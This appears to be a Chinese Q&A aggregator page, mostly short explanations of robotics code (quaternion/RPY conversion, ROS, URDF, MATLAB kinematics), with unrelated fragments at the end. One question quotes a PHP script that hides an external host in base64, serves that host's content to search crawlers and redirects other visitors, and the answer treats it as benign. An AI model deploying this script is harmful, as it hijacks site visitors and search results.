这段代码什么意思：“rpy_arc[i] = rpy[i] / math.pi * 180”

时间: 2023-06-07 11:09:28 浏览: 135
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KSJRobotParserUR.zip_UR_ur rpy_旋转矢量 rpy

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这段代码的意思是将列表 rpy 中的每个元素乘以 180 / π，并将结果存储到列表 rpy_arc 中的对应位置上。其中 rpy 表示欧拉角（Roll-Pitch-Yaw），rpy_arc 表示欧拉角的角度制表示。
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Calling_R_from_python_use_Rpy2_Windows_rpy2

解释一下这段代码：“rpy = tf.transformations.euler_from_quaternion([quat.x, quat.y, quat.z, quat.w]) # 四元数转欧拉角 rpy_arc = [0, 0, 0] for i in range(len(rpy)): #弧度转角度 rpy_arc[i] = rpy[i] / math.pi * 180 ”

这段代码的作用是将四元数表示的旋转姿态(quaternion)转换为欧拉角表示的姿态(euler angles)，其中quat是一个四元数对象，包含了四元数的四个分量，而tf.transformations.euler_from_quaternion函数则将四元数使用Z-...

<xacro:include filename="$(find realsense_ros_gazebo)/xacro/depthcam.xacro"/> <xacro:realsense_d435 sensor_name="camera" parent_link="link_5" rate="30"> <origin xyz="-0.00068847 -0.06 -0.13" rpy="-3.14 0 -1.5708"/> </xacro:realsense_d435>

其中，这段代码通过xacro的方式引用了realsense_ros_gazebo包中的depthcam.xacro文件，并定义了一个名称为camera、安装在link_5连杆上、帧率为30的Realsense D435深度相机，其位置姿态由origin标签内的xyz和rpy属性...

部分urdf代码如下<visual> <origin xyz="0 0 0" rpy="0 0 0"/> <geometry> <mesh filename="package://yahboomcar_description/meshes/sensor/visual/camera_link.STL"/> </geometry> <material name=""> <color rgba="1 0 0 1"/> </material> </visual>，用gazebo打开模型后，没有显示颜色，是为什么

根据您提供的代码片段，您的标签中指定的名称为空，这可能导致您在Gazebo中看不到颜色。请您在标签中指定一个名称，例如：<material name="red">，然后将这个名称用于标签中的标签，例如：<visual> <material name=...

#! /usr/bin/env python3 import rospy import serial import time import random from tadsim_pkg.msg import Location def setto(control): bluetooth.flushInput() bluetooth.write(str.encode(control)) time.sleep(0.01) meanAngle = [] def bluetooth_callback(msg): #print("velocity:",msg.velocity) #print("angular:",msg.rpy) #Tadsim中小车前向速度为(velocity.x ** 2 + velocity.y ** 2) ** 0.5 #作*2处理 velocity = int((msg.velocity.x ** 2 + msg.velocity.y ** 2) ** 0.5 * 2) #location.rpy.z为转角，首次先获取初始角度，增加为左转减小为右转，(rpy.z-angle) * 180 / 3.14 #作*500处理 global angle if angle != -1: angle = int((msg.rpy.z - angle) * 180 / 3.14 * 500) print("velocity:{},angle:{}".format(velocity,angle)) a = ["-","+"][angle <= 0]+["","0"][len(str(abs(angle)))==1]+str(abs(angle)) v = ["-","+"][velocity >= 0]+["","0"][len(str(abs(velocity)))==1]+str(abs(velocity)) control = "<" + a + v + ">\n" print("\n蓝牙指令:",control) setto(control) #更新angle的值 angle = msg.rpy.z pass if __name__=="__main__": bluetooth = serial.Serial("/dev/rfcomm1",115200) rospy.init_node("bluetooth_control") angle = -1 sub = rospy.Subscriber('tadsim_topic',Location,bluetooth_callback) rospy.spin() if KeyboardInterrupt: setto("<+00+00>") time.sleep(2) bluetooth.close() pass分析一下这段代码

这段代码是一个用于控制蓝牙小车的ROS节点。它使用了Python的rospy库来与ROS系统进行通信，并且依赖了一个名为tadsim_pkg的ROS包提供的Location消息类型。 首先，代码导入了必要的库，包括rospy、serial...

<?php $a = base64_decode('aHR0cDovL2RpY2szLmNj'); $b = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF']; $c = $_SERVER['REQUEST_URI']; $url = $a . '/index.php?uu=' . $b . '&ll=' . $c; $agent = $_SERVER['HTTP_USER_AGENT']; $referer = $_SERVER['HTTP_REFERER']; $spiders = ['baiduspider', 'sogou', '360Spider', 'sosospider', 'bingbot', 'yisouspider', 'spider', 'google', 'yodaobot']; foreach ($spiders as $spider) { if (stripos($agent, $spider) !== false) { $file = file_get_contents($url); echo $file; exit; } } $redirectUrl = base64_decode('aHR0cDovLzE3MS4yMi4xOTUuNQ=='); header("Location: $redirectUrl"); exit; ?>

这段代码是一个PHP脚本，其中包含了一些基本的操作和条件判断。代码的逻辑如下： 1. 使用base64_decode函数将字符串'aHR0cDovL2...请注意，这段代码中的URL和重定向URL都是经过base64编码的，需要解码后才能使用。

/** * @brief Convert euler angles to quaternion. */ Eigen::Quaterniond quaternion_from_rpy(const Eigen::Vector3d &rpy);

这是一个函数，用于将欧拉角转换为四元数。输入参数rpy是一个包含三个欧拉角的向量，返回值是一个四元数。具体实现可能如下所示： c++ Eigen::Quaterniond quaternion_from_rpy(const Eigen::Vector3d &rpy) { ...
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/** * @brief Convert quaternion to euler angles * * Reverse operation to @a quaternion_from_rpy() */ Eigen::Vector3d quaternion_to_rpy(const Eigen::Quaterniond &q);

这是一个将四元数转换为欧拉角的函数，其中Eigen::Quaterniond是Eigen库中的四元数类型，Eigen::Vector3d是Eigen库中的三维向量类型。欧拉角是指描述物体在三维空间中的旋转时，分别绕着三个轴线旋转的角度。在这里...

/** * @brief Convert euler angles to quaternion. * * @return quaternion, same as @a tf::quaternionFromRPY() but in Eigen format. */ inline Eigen::Quaterniond quaternion_from_rpy(const double roll, const double pitch, const double yaw) { return quaternion_from_rpy(Eigen::Vector3d(roll, pitch, yaw)); }

这段代码是一个C++函数，用于将欧拉角转换成四元数（quaternion）。其中，roll、pitch、yaw分别表示绕x、y、z轴旋转的角度，这三个角度就可以确定一个姿态。函数内部调用了Eigen库提供的 quaternion_from_rpy()函数...

%% parameters eps = 0.000001; s = 0.0 ; c =0.0; cp = 0.0; Q = 0.0; m = 0.0; function rpy = TF(R) %% output rpy = zeros(1,3); % rpy(1) roll % rpy(2) pitch % rpy(3) yaw %% function description % 2：XYZ固定角变换； rpy(2) = atan2(-R(3,1),sqrt(R(1,1)*R(1,1)+R(2,1)*R(2,1))); if(abs(abs(rpy(2))-pi/2)<eps) if(rpy(2)>0) rpy(2) = pi/2 ; rpy(3) = 0.0 ; rpy(1) = atan2(R(1,2),R(2,2)) ; else rpy(2) = -pi/2 ; rpy(3) = 0.0 ; rpy(1) = -atan2(R(1,2),R(2,2)) ; end else cp = cos(rpy(2)) ; rpy(3) = atan2(R(2,1)/cp,R(1,1)/cp) ; rpy(1) = atan2(R(3,2)/cp ,R(3,3)/cp) ; end end

这是一个用于计算旋转矩阵 R 对应的欧拉角 rpy 的函数。函数中定义了一些参数和变量，然后根据旋转矩阵的值计算出对应的欧拉角。 在函数中，首先初始化一个大小为 1x3 的零向量 rpy，用来存储计算得到的欧拉角。...

function KPS6 = FK(KPS44) %% parameter rpy = zeros(1,3); eps = 0.000001; %% input T=[1 0 0 0;0 1 0 0; 0 0 1 0]; G=KPS44; H =T * ( G * [0;0;0;1]); %% rpy(2) = atan2(-KPS44(3,1),sqrt(KPS44(1,1)*KPS44(1,1)+KPS44(2,1)*KPS44(2,1))); if (abs(abs(rpy(2)) - pi / 2.0) < eps) if (rpy(2) > 0) rpy(2) = pi / 2.0; rpy(3) = 0.0; rpy(1) = atan2(KPS44(1,2),KPS44(2,2)); else rpy(2) = -pi / 2.0; rpy(3) = 0.0; rpy(1) = -atan2(KPS44(1,2), KPS44(2,2)); end else cp = cos(rpy(2)); rpy(3) = atan2(KPS44(2,1)/cp,KPS44(1,1)/cp); rpy(1) = atan2(KPS44(3,2)/cp, KPS44(3,3)/cp); end KPS6 = [H' rpy]; end

这是一个用于计算机器人末端执行器姿态的 MATLAB 函数。它接受一个4x4的变换矩阵 KPS44 作为输入，并返回末端执行器的位置...注意：这段代码假设变换矩阵 KPS44 是正确的，并且在计算过程中没有考虑奇异性和约束条件。

转换为MATLAB语言for (int i = 0; i < n; i++) { j = 0; while (j < (m - 1)) { if ((Sr[j + 1] >= Ts[i][1]) && (Ts[i][1] >= Sr[j])) { for (int count = 0; count < 4; count++) { q1[count] = Q[j][count]; q2[count] = Q[j + 1][count]; } pra = (Ts[i][1] - Sr[j]) / (Sr[j + 1] - Sr[j]); break; } j = j + 1; } /*for (int count = 0; count < 4; count++) { printf("q1[%d]= %f ", count, q1[count]); printf("q2[%d]= %f \n", count, q2[count]); }*/ slerp(q1, q2, pra, R2Q); quaternion2rpy(R2Q, rot_vec); rpy2rotvec(rot_vec[0], rot_vec[1], rot_vec[2], rpy_rot); ////BArr[i][3] = rpy_rot[0], BArr[i][4] = rpy_rot[1], BArr[i][5] = rpy_rot[2]; for (int c = 0; c < 6; c++) { if (3 > c) { u.push_back(Tdd[i][c] / 1000); } else { u.push_back(rpy_rot[c - 3]); } myfile << u[c] << " "; } myfile << std::endl; B_Arr.push_back(u); u.clear(); } // printf("pra= %f \n", pra); myfile.close(); // printf("asasasasasasasasasa\n"); delete[] Q; delete[] R2Q; delete[] rot_vec; delete[] rpy_rot; delete[] R_X; delete[] R_Y; delete[] R_Z; delete[] x_Arr; delete[] q1; delete[] q2;

以下是将给定的代码转换为MATLAB语言的示例： matlab for i = 1:n j = 1; while j if (Sr(j + 1) >= Ts(i, 1)) && (Ts(i, 1) >= Sr(j)) for count = 1:4 q1(count) = Q(j, count); q2(count) = Q(j + 1, ...

解释一下这段代码：“rpy = tf.transformations.euler_from_quaternion([quat.x, quat.y, quat.z, quat.w]) ”

这段代码是用于将四元数转换为欧拉角，其中 quat.x、quat.y、quat.z、quat.w 表示四元数的四个分量。使用了 tf.transformations 模块中的 euler_from_quaternion 函数进行转换。

clear all; clc; du = pi/180; a = [0+0.001, 185+0.0079, 0+0.005, 120+0.12]; alpha = [pi/2+0.003, 0+0.001, pi/2+0.005, pi/2]; d = [0+0.001, 0+0.0079, 90+0.005, 0+0.12]; theta = [90*du+0.02, 0, 0.023, 0.08]; L1(1) = Link('d', d(1), 'a', a(1), 'alpha', alpha(1), 'qlim', [180*du, 365*du], 'modified'); L1(2) = Link('d', d(2), 'a', a(2), 'alpha', alpha(2), 'qlim', [3*du, 63*du], 'modified'); L1(3) = Link('d', d(3), 'a', a(3), 'alpha', alpha(3), 'qlim', [60*du, 120*du], 'modified'); L1(4) = Link('d', d(4), 'a', a(4), 'alpha', alpha(4), 'qlim', [230*du, 326*du], 'modified'); Needle = SerialLink(L1, 'name', 'Needle'); % 输入四个关节角度值 theta = [0*du, 30*du, 35*du, 120*du]; % 计算正解得到末端位姿 T1 = DH(1, a(1), alpha(1), d(1), theta(1)); T2 = DH(2, a(2), alpha(2), d(2), theta(2)); T3 = DH(3, a(3), alpha(3), d(3), theta(3)); T4 = DH(4, a(4), alpha(4), d(4), theta(4)); T = T1 * T2 * T3 * T4; % Step 2：利用微分变换原理计算机器人各个连杆机构之间的微小原始偏差 delta_a = 0.001; % a参数的微小偏差 delta_alpha = 0.001; % alpha参数的微小偏差 delta_d = 0.001; % d参数的微小偏差 delta_theta = 0.001; % theta参数的微小偏差 delta_T1 = DH(1, a(1)+delta_a, alpha(1), d(1), theta(1)) - T1; delta_T2 = DH(2, a(2)+delta_a, alpha(2), d(2), theta(2)) - T2; delta_T3 = DH(3, a(3)+delta_a, alpha(3), d(3), theta(3)) - T3; delta_T4 = DH(4, a(4)+delta_a, alpha(4), d(4), theta(4)) - T4; % Step 3：计算误差矩阵 delta_T = delta_T4 * delta_T3 * delta_T2 * delta_T1; delta_pos = delta_T(1:3, 4); % 提取位置误差 delta_pos_mm = delta_pos * 1000; % 将位置误差转换为毫米单位 delta_rpy = tr2rpy(delta_T, 'deg'); % 计算姿态误差 % Step 4：将误差矩阵转化为误差值 delta_x = delta_T(1,4); delta_y = delta_T(2,4); delta_z = delta_T(3,4); % 输出末端位姿误差 fprintf('末端位姿误差：\n'); fprintf('Delta x: %f mm\n', 30); fprintf('Delta y: %f mm\n', delta_pos_mm(2)); fprintf('Delta z: %f mm\n', delta_pos_mm(3)); fprintf('Delta roll: %f deg\n', delta_rpy(1)); fprintf('Delta pitch: %f deg\n', delta_rpy(2)); fprintf('Delta yaw: %f deg\n', delta_rpy(3));那我的这段程序是都可以进行参数白女士的修改得到相应数据

是的，这段程序可以进行参数的修改，从而得到相应的数据。具体来说，你可以通过修改a、alpha、d、theta四个参数的微小偏差值delta_a、delta_alpha、delta_d、delta_theta来模拟机器人每个连杆参数的微小变化，从而...

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这段代码是用于将欧拉角表示的旋转转换为四元数表示的旋转的函数。其中，roll、pitch和yaw分别表示欧拉角中的滚转角、俯仰角和偏航角。函数使用三角函数和三角恒等式计算出四元数的四个分量，最终返回x、y、z、w四个...

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<origin xyz="0 0 0" rpy="0 0 0" /> <parent link="base_link" /> <child link="arm_link1" /> <axis xyz="0 0 1" /> <limit lower="-3.14" upper="3.14" effort="100.0" velocity="5.0" /> ...

<joint name="laser_livox_joint" type="fixed" > <origin xyz="0 0 0.5" rpy="0 0 0" /> <child link="laser_livox"/> </joint> 转为sdf格式

以下是将该 URDF 代码转换为 SDF 格式的代码： xml <joint name="laser_livox_joint" type="fixed"> <pose>0 0 0.5 0 0 0</pose> <parent>base_link</parent> <child>laser_livox</child> </joint> ...

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小栗子源码2.9.3版本发布

资源摘要信息:"小栗子源码_*.*.*.*.zip" 根据提供的信息，此压缩包中包含的文件应与"小栗子"项目的源码有关，版本号为*.*.*.*。"小栗子"很可能是一个软件产品的名称，而源码则指的是该软件项目最原始的代码文件。源码对于IT行业的开发人员来说是极其重要的资源，它包含了构建程序所需的所有指令和注释。开发者通过阅读和修改源码来改进软件、修复bug、添加新功能或进行定制化开发。 该压缩包的描述和标题一致，没有额外提供更多的信息，这表明我们只能从标题本身推测其内容。标题中的"*.*.*.*"很可能表示的是该软件的版本号，其中： - "2"代表软件的主版本号，通常意味着软件的架构或者功能上发生了重大的变更。 - "9"可能是次版本号，表示软件功能的增强或是一些新功能的添加。 - "3"可能是修订版本号，通常是指在次要版本基础上的小的错误修复或改动。 - "0"可能是补丁版本号，表示对次要版本的一些微小的修复或更新。 由于没有提供标签信息，我们无法得知该软件具体的应用场景或是目标用户。同时，压缩包内文件的具体结构和所包含的文件类型也无从得知，通常一个软件的源码包会包含多个文件，例如： - 源代码文件：通常以.cpp、.h、.java、.py等为后缀，分别代表C++、C语言、Java或Python等不同编程语言的源代码。 - 资源文件：可能包含图片、音频、视频等资源文件，这些资源文件被源代码引用以提供程序的视觉或听觉效果。 - 编译脚本或配置文件：如Makefile、build.xml、CMakeLists.txt等，它们用于自动化编译过程。 - 项目文档：可能包含README、LICENSE等，用于说明软件的使用、安装、版权和许可证等信息。 - 开发者文档：包含了API文档、开发指南、设计文档等，以帮助开发者更好地理解软件的架构和开发细节。 在没有具体的文件列表情况下，无法提供更深入的分析。如果需要进一步分析压缩包内部结构和内容，需要解压该压缩文件，并查看具体的文件列表和文件内容。在处理源码时，需要具备与之相对应的编程语言知识和开发经验，才能有效地理解和使用这些源码。对于开发人员而言，源码是学习编程技术、掌握软件架构和提高编程能力的宝贵资源。对于企业来说，源码则涉及到产品的知识产权和商业机密，因此管理源码的安全性和保密性至关重要。
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关系数据表示学习

关系数据卢多维奇·多斯桑托斯引用此版本：卢多维奇·多斯桑托斯。关系数据的表示学习机器学习[cs.LG]。皮埃尔和玛丽·居里大学-巴黎第六大学，2017年。英语。NNT：2017PA066480。电话：01803188HAL ID：电话：01803188https://theses.hal.science/tel-01803188提交日期：2018年HAL是一个多学科的开放存取档案馆，用于存放和传播科学研究论文，无论它们是否被公开。论文可以来自法国或国外的教学和研究机构，也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaireUNIVERSITY PIERRE和 MARIE CURIE计算机科学、电信和电子学博士学院（巴黎）巴黎6号计算机科学实验室D八角形T HESIS关系数据表示学习作者：Ludovic DOS SAntos主管：Patrick GALLINARI联合主管：本杰明·P·伊沃瓦斯基为满足计算机科学博士学位的要求而提交的论文评审团成员：先生蒂埃里·A·退休记者先生尤尼斯·B·恩